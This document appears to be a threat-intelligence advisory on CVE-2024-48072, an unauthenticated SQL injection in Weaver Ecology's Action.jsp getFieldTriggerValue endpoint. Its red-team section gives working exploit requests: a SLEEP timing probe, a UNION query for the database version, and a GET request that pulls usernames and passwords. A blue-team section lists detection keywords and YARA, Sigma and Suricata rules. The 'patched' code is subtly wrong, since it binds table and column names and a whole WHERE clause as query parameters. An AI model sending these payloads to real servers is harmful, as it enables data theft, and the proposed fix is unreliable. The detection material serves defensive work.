CVE-2024-48072

Executive Summary

CVE-2024-48072 is a critical SQL injection vulnerability discovered in Weaver Ecology v9.*. The flaw resides in the /mobilemode/Action.jsp endpoint, specifically within the getFieldTriggerValue action. An unauthenticated attacker can inject arbitrary SQL commands via the searchField, fromTable, whereClause, triggerCondition, expression, and fieldValue parameters. Successful exploitation could lead to unauthorized data access, data manipulation, or complete database compromise. The vendor has not yet released a patch, and public proof-of-concept (PoC) code is available, increasing the risk of active exploitation.

Supply Chain & Package Security

Weaver Ecology is a proprietary enterprise collaboration platform. No open-source package or dependency chain is directly affected. However, organizations using Weaver Ecology should treat this as a critical supply chain risk due to the lack of a vendor patch.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the nature of the vulnerability (unauthenticated SQL injection), the following is a reasonable assessment:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and public PoC exists.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the getFieldTriggerValue action of the MECAction servlet. The application constructs SQL queries by concatenating user-supplied parameters without proper sanitization or parameterized queries.

Vulnerable Endpoint:

/mobilemode/Action.jsp?invoker=com.weaver.formmodel.mobile.mec.servlet.MECAction&action=getFieldTriggerValue&searchField=*&fromTable=HrmResourceManager&whereClause=1%3d1&triggerCondition=1&expression=%3d&fieldValue=1

Key Parameters:

• searchField: Used to specify the column to select (e.g., *).
• fromTable: Specifies the table name (e.g., HrmResourceManager).
• whereClause: Injected with SQL conditions (e.g., 1=1).
• triggerCondition, expression, fieldValue: Additional parameters that may be concatenated into the WHERE clause.

Attack Vector: An attacker can modify the whereClause parameter to inject arbitrary SQL. For example:

whereClause=1=1 UNION SELECT user,password FROM users--

This would return sensitive data from other tables.

Root Cause: The application uses string concatenation to build SQL queries instead of prepared statements or parameterized queries. The lack of input validation allows SQL metacharacters to be interpreted as part of the query.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

String query = "SELECT " + searchField + " FROM " + fromTable + " WHERE " + whereClause;
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);

Patched Code (Expected):

String query = "SELECT ? FROM ? WHERE ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, searchField);
pstmt.setString(2, fromTable);
pstmt.setString(3, whereClause);
ResultSet rs = pstmt.executeQuery();

Note: The vendor has not released an official patch. The above is a recommended fix.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running Weaver Ecology v9.*
• Network access to the /mobilemode/Action.jsp endpoint

Exploit Steps:

1. Identify the vulnerable endpoint:

   http://target.com/mobilemode/Action.jsp?invoker=com.weaver.formmodel.mobile.mec.servlet.MECAction&action=getFieldTriggerValue&searchField=*&fromTable=HrmResourceManager&whereClause=1%3d1&triggerCondition=1&expression=%3d&fieldValue=1
   

2. Confirm SQL injection by injecting a time-based payload:

   whereClause=1%3d1%20AND%20SLEEP(5)
   

3. Extract data using UNION-based injection:

   whereClause=1%3d1%20UNION%20SELECT%20@@version--
   

Example Payload:

GET /mobilemode/Action.jsp?invoker=com.weaver.formmodel.mobile.mec.servlet.MECAction&action=getFieldTriggerValue&searchField=*&fromTable=HrmResourceManager&whereClause=1%3d1%20UNION%20SELECT%20null,username,password,null%20FROM%20users--&triggerCondition=1&expression=%3d&fieldValue=1 HTTP/1.1
Host: target.com

Blue Team

Detection:

• Monitor HTTP requests to /mobilemode/Action.jsp with unusual whereClause parameters (e.g., containing UNION, SLEEP, OR 1=1).
• Look for abnormal response times (time-based injection).
• Alert on multiple failed login attempts or database error messages in responses.

Hunting:

• Search web server logs for requests containing SQL keywords in the whereClause parameter.
• Use the Sigma rule below to detect exploitation attempts.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /mobilemode/Action.jsp with action=getFieldTriggerValue and suspicious whereClause values.
  • Outbound database connections from the web server to unexpected IPs (data exfiltration).
• File IOCs:
  • Temporary files created by SQL injection tools (e.g., sqlmap output).
• Log IOCs:
  • Database error logs containing SQL syntax errors.
  • Web server logs with UNION, SELECT, SLEEP, BENCHMARK in query strings.

Detection Engineering

YARA Rule

rule CVE_2024_48072_SQLi_Weaver {
    meta:
        description = "Detects SQL injection attempts against Weaver Ecology CVE-2024-48072"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-48072"
    strings:
        $s1 = "getFieldTriggerValue" nocase
        $s2 = "whereClause=" nocase
        $s3 = "UNION" nocase
        $s4 = "SLEEP" nocase
        $s5 = "OR 1=1" nocase
    condition:
        all of ($s1, $s2) and 1 of ($s3, $s4, $s5)
}

Sigma Rule

title: CVE-2024-48072 SQL Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts against Weaver Ecology /mobilemode/Action.jsp
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/mobilemode/Action.jsp'
        cs-uri-query|contains: 
            - 'action=getFieldTriggerValue'
            - 'whereClause='
    keywords:
        - 'UNION'
        - 'SLEEP'
        - 'OR 1=1'
        - 'BENCHMARK'
    condition: selection and keywords
falsepositives:
    - Legitimate use of the endpoint with normal parameters
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-48072 SQL Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/mobilemode/Action.jsp"; http_uri; content:"action=getFieldTriggerValue"; http_uri; content:"whereClause="; http_uri; pcre:"/(UNION|SLEEP|OR\s+1=1|BENCHMARK)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the Weaver Ecology server from the internet if possible.
2. Apply a Web Application Firewall (WAF) rule to block SQL injection patterns in the whereClause parameter.
3. Monitor logs for exploitation attempts.

Long-term Fix:

• The vendor must release a patch that uses parameterized queries or prepared statements.
• Until then, consider migrating to an alternative platform or implementing a reverse proxy with input validation.

Workaround:

• Disable the /mobilemode/Action.jsp endpoint if not required.
• Restrict access to the endpoint via IP whitelisting.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert